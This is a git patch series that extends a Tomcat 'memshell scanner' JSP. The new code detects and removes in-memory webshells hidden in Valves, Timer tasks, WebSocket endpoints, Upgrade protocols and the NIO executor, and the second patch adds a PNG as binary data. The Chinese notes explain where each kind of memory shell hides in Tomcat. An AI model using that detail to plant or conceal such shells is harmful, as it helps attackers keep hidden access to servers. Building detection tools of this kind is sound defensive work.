From 5473ebb90e1198892ed5c7e20be7712cc34a5f55 Mon Sep 17 00:00:00 2001 From: ruyueattention <33751054+ruyueattention@users.noreply.github.com> Date: Thu, 9 Mar 2023 15:06:33 +0800 Subject: [PATCH 1/3] Update tomcat-memshell-scanner.jsp MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 增加Tomcat-Value、Timer、Websocket 、Upgrade 、ExecutorShell内存马的查杀逻辑。 --- tomcat-memshell-scanner.jsp | 391 +++++++++++++++++++++++++++++++++++- 1 file changed, 381 insertions(+), 10 deletions(-) diff --git a/tomcat-memshell-scanner.jsp b/tomcat-memshell-scanner.jsp index 557b985..8bd0e13 100644 --- a/tomcat-memshell-scanner.jsp +++ b/tomcat-memshell-scanner.jsp @@ -1,14 +1,24 @@ <%@ page import="java.net.URL" %> <%@ page import="java.lang.reflect.Field" %> -<%@ page import="java.util.HashMap" %> <%@ page import="com.sun.org.apache.bcel.internal.Repository" %> <%@ page import="java.net.URLEncoder" %> -<%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="java.lang.reflect.Method" %> -<%@ page import="java.util.ArrayList" %> -<%@ page import="java.util.List" %> <%@ page import="java.util.concurrent.CopyOnWriteArrayList" %> +<%@ page import="org.apache.catalina.Pipeline" %> +<%@ page import="org.apache.catalina.Valve" %> +<%@ page import="org.apache.catalina.core.StandardContext" %> +<%@ page import="org.apache.catalina.connector.Request" %> +<%@ page import="java.util.*" %> +<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %> +<%@ page import="javax.websocket.server.ServerEndpointConfig" %> +<%@ page import="javax.websocket.server.ServerContainer" %> +<%@ page import="org.apache.coyote.UpgradeProtocol" %> +<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %> +<%@ page import="org.apache.catalina.connector.Connector" %> +<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %> +<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %> +<%@ page import="java.util.concurrent.TimeUnit" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> @@ -28,7 +38,26 @@ Object standardContext = __context.get(appContext); return standardContext; } + private static Object getField(Object object, String fieldName) throws Exception { + Field field = null; + Class clazz = object.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(fieldName); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + + if (field == null) { + throw new NoSuchFieldException(fieldName); + } else { + field.setAccessible(true); + return field.get(object); + } + } public HashMap getFilterConfig(HttpServletRequest request) throws Exception { Object standardContext = getStandardContext(request); Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); @@ -192,23 +221,143 @@ res += "]"; return res; } + public Object getNioEndpoint() throws Exception { + Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"); + Field f = ThreadGroup.class.getDeclaredField("threads"); + f.setAccessible(true); + for (Thread thread: threads) { + if (thread.getName().contains("http") && thread.getName().contains("Poller")) { + f = Thread.class.getDeclaredField("target"); + f.setAccessible(true); + Object pollor = f.get(thread); + f = pollor.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + Object nioEndpoint = (NioEndpoint)f.get(pollor); + return nioEndpoint; + } + } + return new Object(); + } %> <% - out.write("

Tomcat memshell scanner 0.1.0

"); + out.write("

Tomcat memshell scanner

"); String action = request.getParameter("action"); String filterName = request.getParameter("filterName"); String servletName = request.getParameter("servletName"); String className = request.getParameter("className"); + String tomcatValue = request.getParameter("tomcatValue"); + String threadName = request.getParameter("threadName"); + String webSocket = request.getParameter("webSocket"); + String upgrade = request.getParameter("upgrade"); + String executors = request.getParameter("executor"); + + //获取ServletContext对象(得到的其实是ApplicationContextFacade对象) + ServletContext servletContext = request.getServletContext(); + StandardContext standardContext = null; + //从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext对象 + while (standardContext == null) { + //因为是StandardContext对象是私有属性,所以需要用反射去获取 + Field f = servletContext.getClass().getDeclaredField("context"); + f.setAccessible(true); + Object object = f.get(servletContext); + + if (object instanceof ServletContext) { + servletContext = (ServletContext) object; + } else if (object instanceof StandardContext) { + standardContext = (StandardContext) object; + } + } + Pipeline pipeline = standardContext.getPipeline(); + Valve[] valves = pipeline.getValves(); + if (action != null && action.equals("kill") && filterName != null) { deleteFilter(request, filterName); + out.write(""); + } else if (action != null && action.equals("kill") && servletName != null) { deleteServlet(request, servletName); - } else if (action != null && action.equals("dump") && className != null) { + out.write(""); + + }else if (action != null && action.equals("kill") && tomcatValue != null){ + int id = Integer.valueOf(tomcatValue).intValue(); + if(id!=0 & id!=valves.length-1 ){ + pipeline.removeValve(valves[id]); + out.write(""); + + } + }else if(action!=null && action.equals("kill") && threadName!= null){ + Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); + for (Thread thread : threads) { + if(threadName.equals(thread.getName())){ + Class clzTimerThread = thread.getClass(); + Field queueField = clzTimerThread.getDeclaredField("queue"); + queueField.setAccessible(true); + //Timer里面的TaskQueue()对象 + Object queue = queueField.get(thread); + Class clzTaskQueue = queue.getClass(); + Method getTimeTask = clzTaskQueue.getDeclaredMethod("get",int.class); + getTimeTask.setAccessible(true); + //从TaskQueue对象中获取TimerTask,然后取消这个TimerTask以清除任务。 + TimerTask timerTask = (TimerTask) getTimeTask.invoke(queue,1); + if(timerTask!=null){ + timerTask.cancel(); + out.write(""); + break; + + } + } + } + } else if(action!=null && action.equals("kill") && webSocket!= null){ + WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + + // 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap + Class obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer"); + Field field = obj.getDeclaredField("configExactMatchMap"); + field.setAccessible(true); + Map configExactMatchMap = (Map) field.get(wsServerContainer); + + // 遍历configExactMatchMap, 打印所有注册的 websocket 服务 + Set keyset = configExactMatchMap.keySet(); + + configExactMatchMap.remove(webSocket); + out.write(""); + + + + }else if(action!=null && action.equals("kill") && upgrade!= null){ + Request request1 =(Request) getField(request, "request");; + Connector realConnector = (Connector) getField(request1, "connector"); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) getField(realConnector, "protocolHandler"); + HashMap upgradeProtocols = (HashMap) getField(handler,"httpUpgradeProtocols"); + upgradeProtocols.remove(upgrade); + out.write(""); + + + + }else if(action!=null && action.equals("kill") && executors!= null){ + NioEndpoint nioEndpoint = null; + try { + nioEndpoint = (NioEndpoint) getNioEndpoint(); + } catch (Exception e) { + e.printStackTrace(); + } + ThreadPoolExecutor executor = (ThreadPoolExecutor)nioEndpoint.getExecutor(); + + nioEndpoint.setExecutor(new org.apache.tomcat.util.threads.ThreadPoolExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(), + executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), + executor.getThreadFactory(), executor.getRejectedExecutionHandler())); + out.write(""); + + }else if (action != null && + action.equals("dump") && className != null) { byte[] classBytes = Repository.lookupClass(Class.forName(className)).getBytes(); response.addHeader("content-Type", "application/octet-stream"); String filename = Class.forName(className).getSimpleName() + ".class"; + if(".class".equals(filename)){ + filename = "tmp.class"; + } String agent = request.getHeader("User-Agent"); if (agent.toLowerCase().indexOf("chrome") > 0) { response.addHeader("content-Disposition", "attachment;filename=" + new String(filename.getBytes("UTF-8"), "ISO8859-1")); @@ -319,9 +468,6 @@ out.write(""); List listeners = getListenerList(request); - if (listeners == null || listeners.size() == 0) { - return; - } out.write(""); List newListeners = new ArrayList<>(); for (Object o : listeners) { @@ -332,6 +478,7 @@ // Scan listener out.write("

Listener scan result

"); + out.write("\n" + " \n" + " \n" + @@ -357,11 +504,235 @@ index++; } out.write("
ID
"); + + + + + out.write("

Tomcat-Value scan result

"); + out.write("

说明:正常情况下只有两个(不要杀错!!!!)。查杀常规流程,看类、加载类、dump下来分析

"); + out.write("\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "); + + for (int i = 0; i < valves.length; i++) { + out.write(""); + out.write(String.format("" + , i + , valves[i] + ,valves[i].getClass().getClassLoader() + , classFileIsExists(valves[i].getClass()) + ,valves[i].getClass().getName() + , i)); + out.write(""); + } + out.write("
IDTomcat-Value classTomcat-Value classLoaderTomcat-Value class file pathdump classkill
%d%s%s%sdumpkill
"); + + + //Timer scan + out.write("

Timer scan result

"); + out.write("

说明:Java定时任务实现的内存马,通常需要多线程发包才能执行命令(一般无回显)。查杀常规流程,看类、加载类、dump下来分析

"); + out.write("\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "); + Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); + int ii =0; + for (Thread thread : threads) { + if (thread != null) { + if("java.util.TimerThread".equals(thread.getClass().getName())){ + + Class clzTimerThread = thread.getClass(); + Field queueField = clzTimerThread.getDeclaredField("queue"); + queueField.setAccessible(true); + //Timer里面的TaskQueue()对象 + Object queue = queueField.get(thread); + + Class clzTaskQueue = queue.getClass(); + Method getTimeTask = clzTaskQueue.getDeclaredMethod("get",int.class); + getTimeTask.setAccessible(true); + //从TaskQueue对象中获取TimerTask,然后取消这个TimerTask以清除任务。 + TimerTask timerTask = (TimerTask) getTimeTask.invoke(queue,1); + if(timerTask!=null){ + //timerTask.cancel(); + out.write(""); + out.write(String.format("" + , ii + , thread.getName() + , timerTask.getClass().getName() + , timerTask.getClass().getClassLoader() + , timerTask.getClass().getName() + , thread.getName())); + out.write(""); + ii++; + } + } + } + } + out.write("
IDThread NameTimerTask ClassTimerTask classLoaderdump classkill
%d%s%s%sdumpkill
"); + + + + + out.write("

Websocket scan result

"); + out.write("

说明:把他看作Servlet即可,如果当前服务没有用到websocket,这里出现了,那必是内存马。

"); + out.write("\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "); + + // 通过 request 的 context 获取 ServerContainer + WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName()); + + // 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap + Class obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer"); + Field field = obj.getDeclaredField("configExactMatchMap"); + field.setAccessible(true); + Map configExactMatchMap = (Map) field.get(wsServerContainer); + + // 遍历configExactMatchMap, 打印所有注册的 websocket 服务 + Set keyset = configExactMatchMap.keySet(); + Iterator iterator = keyset.iterator(); + + + int j = 0; + while (iterator.hasNext()) { + String key = iterator.next(); + Object object = wsServerContainer.findMapping(key); + Class wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult"); + Field configField = wsMappingResultObj.getDeclaredField("config"); + configField.setAccessible(true); + ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object); + Class clazz = config1.getEndpointClass(); + + + + out.write(""); + out.write(String.format("" + , j + , clazz.getSimpleName() + , key + ,clazz.getName() + ,clazz.getClassLoader() + ,clazz.getName() + , key)); + out.write(""); + + j++; + } + + out.write("
IDWebsocket NamePaternWebsocket class Websocket classLoaderdump classkill
%d%s%s%s%sdumpkill
"); + + + + out.write("

Upgrade scan result

"); + out.write("

说明:通常情况下不存在Upgrade,有结果就99%是内存马了。剩下1%dump下来分析流程确定吧。

"); + out.write("\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "); + + Request request1 =(Request) getField(request, "request");; + Connector realConnector = (Connector) getField(request1, "connector"); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) getField(realConnector, "protocolHandler"); + HashMap upgradeProtocols = (HashMap) getField(handler,"httpUpgradeProtocols"); + + + int aaa = 0; + for (Map.Entry entry : upgradeProtocols.entrySet()) { + + + out.write(""); + out.write(String.format("" + , aaa + , entry.getValue().getClass().getSimpleName() + , entry.getKey() + , entry.getValue().getClass().getName() + , entry.getValue().getClass().getClassLoader() + , entry.getValue().getClass().getName() + , entry.getKey())); + out.write(""); + aaa++; + + } + out.write("
IDUpgrade NameKeyUpgrade class Upgrade classLoaderdump classkill
%d%s%s%s%sdumpkill
"); + + + + + + + out.write("

ExecutorShell Check

"); + out.write("

说明:通过修改nioEndpoint中存储的Executor线程池对象为恶意对象实现的内存马。因此查杀起来简单方便,看他对应的类是不是原本的org.apache.tomcat.util.threads.ThreadPoolExecutor即可

"); + out.write("\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " "); + + + // 从线程中获取NioEndpoint类 + NioEndpoint nioEndpoint = null; + try { + nioEndpoint = (NioEndpoint) getNioEndpoint(); + } catch (Exception e) { + e.printStackTrace(); + } + ThreadPoolExecutor executor = (ThreadPoolExecutor)nioEndpoint.getExecutor(); + + + out.write(""); + out.write(String.format("" + , executor.getClass().getSimpleName() + , executor.getClass().getName() + , executor.getClass().getClassLoader() + , executor.getClass().getName() + , "recovery")); + out.write(""); + out.write("
Executor NameExecutor class Executor classLoaderdump class恢复
%s%s%sdumpkill
"); + + + + + + } + + %>
- code by c0ny1 + code by c0ny1; From 8b80a10724bed7a3a8cbcbe452c33a05a06284ac Mon Sep 17 00:00:00 2001 From: ruyueattention <33751054+ruyueattention@users.noreply.github.com> Date: Thu, 9 Mar 2023 15:15:09 +0800 Subject: [PATCH 2/3] Add files via upload --- doc/othershell.png | Bin 0 -> 101032 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 doc/othershell.png diff --git a/doc/othershell.png b/doc/othershell.png new file mode 100644 index 0000000000000000000000000000000000000000..95578c0cfb8bc7498c380a7dd5c98530902ede3e GIT binary patch literal 101032 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 